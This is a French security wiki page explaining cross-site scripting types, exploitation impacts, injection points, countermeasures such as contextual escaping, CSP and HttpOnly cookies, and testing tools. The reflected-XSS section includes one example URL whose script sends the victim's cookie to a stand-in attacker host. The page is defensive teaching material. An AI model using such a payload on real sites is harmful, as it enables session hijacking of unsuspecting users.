XSS

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Domaine Attaque web — script côté client
Types Reflected · Stored · DOM-based
Contre-mesures Échappement contextuel, CSP, cookies HttpOnly/Secure
Voir aussi Injection sql · BeEf · Méthodologie d'attaque web

Le Cross-Site Scripting (XSS) est une injection qui fait exécuter du code JavaScript arbitraire dans le navigateur d'une victime, dans le contexte du site vulnérable. L'attaquant exploite un défaut d'échappement des données utilisateur avant leur insertion dans une page HTML : le navigateur ne peut pas distinguer le script injecté du code légitime de la page, et l'exécute avec les mêmes droits (accès au DOM, aux cookies non protégés, aux requêtes authentifiées).

Types

Reflected XSS

Le payload transite par la requête (paramètre d'URL, formulaire) et est renvoyé tel quel dans la réponse HTML, sans être stocké côté serveur. L'exploitation nécessite que la victime clique sur un lien piégé (envoyé par e-mail, message, ou hébergé sur un site tiers). 

http://site-cible.example/recherche.php?q=<script>document.location='http://attaquant.example/c.php?c='+document.cookie</script>

Stored XSS (persistant)

Le payload est enregistré côté serveur (commentaire, message de forum, profil utilisateur, champ de formulaire mal filtré) puis rejoué à chaque affichage de la page à tous les visiteurs, sans action supplémentaire de l'attaquant. C'est la variante la plus dangereuse : impact de masse, pas besoin de piéger individuellement chaque victime.

DOM-based XSS

L'injection ne transite jamais par le serveur : elle se produit entièrement côté client, quand du JavaScript légitime de la page lit une donnée non fiable (ex. location.hash, document.URL) et l'insère dans le DOM via un sink dangereux (innerHTML, document.write, eval) sans validation. Invisible côté serveur, donc souvent non détectée par les WAF ou les logs applicatifs classiques.

Exemples d'exploitation

  • Vol de session : exfiltration du cookie de session vers un serveur contrôlé par l'attaquant, permettant de rejouer la session de la victime.
  • Keylogging : script injecté qui capture les frappes clavier (identifiants saisis sur un faux formulaire injecté dans la page).
  • Défacement : modification visuelle de la page pour tromper ou discréditer.
  • Pivot vers l'ingénierie sociale : injection d'un faux formulaire de connexion, technique employée par le MLITM (Man-Left-In-The-Middle) du Social Engineering Toolkit, qui exploite un site déjà compromis par XSS.
  • Prise de contrôle du navigateur : via un framework comme BeEf (Browser Exploitation Framework), qui « accroche » (hook) le navigateur de la victime pour exécuter des commandes ultérieures (fingerprinting, pivot réseau interne, exploitation de plugins).

Où chercher

  • Paramètres d'URL et champs de formulaire réfléchis dans la réponse.
  • En-têtes HTTP journalisés puis réaffichés (User-Agent, Referer, X-Forwarded-For).
  • Noms de fichiers uploadés, métadonnées de fichiers (SVG contenant du JavaScript, EXIF).
  • Éditeurs de texte enrichi (WYSIWYG) qui acceptent du HTML brut.
  • Messages, commentaires, profils, tout champ persistant affiché à d'autres utilisateurs.

Contre-mesures

  • Échappement de sortie contextuel : encoder les données en fonction du contexte d'insertion (entité HTML pour du texte, échappement JavaScript pour une chaîne de script, encodage URL pour un attribut href). Un échappement générique mal choisi (ex. seulement HTML alors que l'injection se fait dans un attribut ou un bloc <script>) reste contournable.
  • Content-Security-Policy (CSP) : en-tête qui restreint les sources de script exécutables (script-src), interdit eval et les scripts inline non nonce/hash. Ne remplace pas l'échappement mais limite fortement l'impact d'une injection résiduelle.
  • Cookies HttpOnly et Secure : HttpOnly empêche document.cookie de lire le cookie de session en JavaScript (n'empêche pas l'exécution du XSS, mais neutralise le vol de session le plus courant) ; Secure empêche sa transmission en clair.
  • Validation d'entrée en liste blanche quand le format attendu est connu (email, nombre, date) — en complément de l'échappement de sortie, jamais en remplacement.
  • Frameworks à échappement automatique (React, Angular, Vue) réduisent fortement le risque par défaut, mais restent contournables via des échappatoires explicites (dangerouslySetInnerHTML, [innerHTML], v-html) qu'il faut auditer spécifiquement.
  • Subresource Integrity (SRI) sur les scripts tiers, pour limiter l'impact d'une compromission de CDN.

Outils

  • BeEf — exploitation post-XSS du navigateur de la victime.
  • Zaproxy · Webscarab — proxys d'interception utiles pour repérer et rejouer des payloads.
  • XSStrike, dalfox — scanners spécialisés XSS (à vérifier selon la version courante des outils).
  • Listes de payloads communautaires (PayloadsAllTheThings) pour tester les contournements de filtres.

Points clés à retenir

  • XSS = exécution de JavaScript arbitraire dans le navigateur de la victime, via un défaut d'échappement.
  • Trois familles : reflected (non persistant, nécessite un clic), stored (persistant, impact de masse), DOM-based (entièrement côté client).
  • La défense de fond est l'échappement contextuel à la sortie ; CSP et HttpOnly limitent l'impact en profondeur.
  • Impact typique : vol de session, keylogging, défacement, pivot vers l'ingénierie sociale ou l'exploitation du navigateur (BeEF).

Voir aussi

Récupérée de "https://wiki.nexiat.fr/index.php?title=XSS&oldid=2583"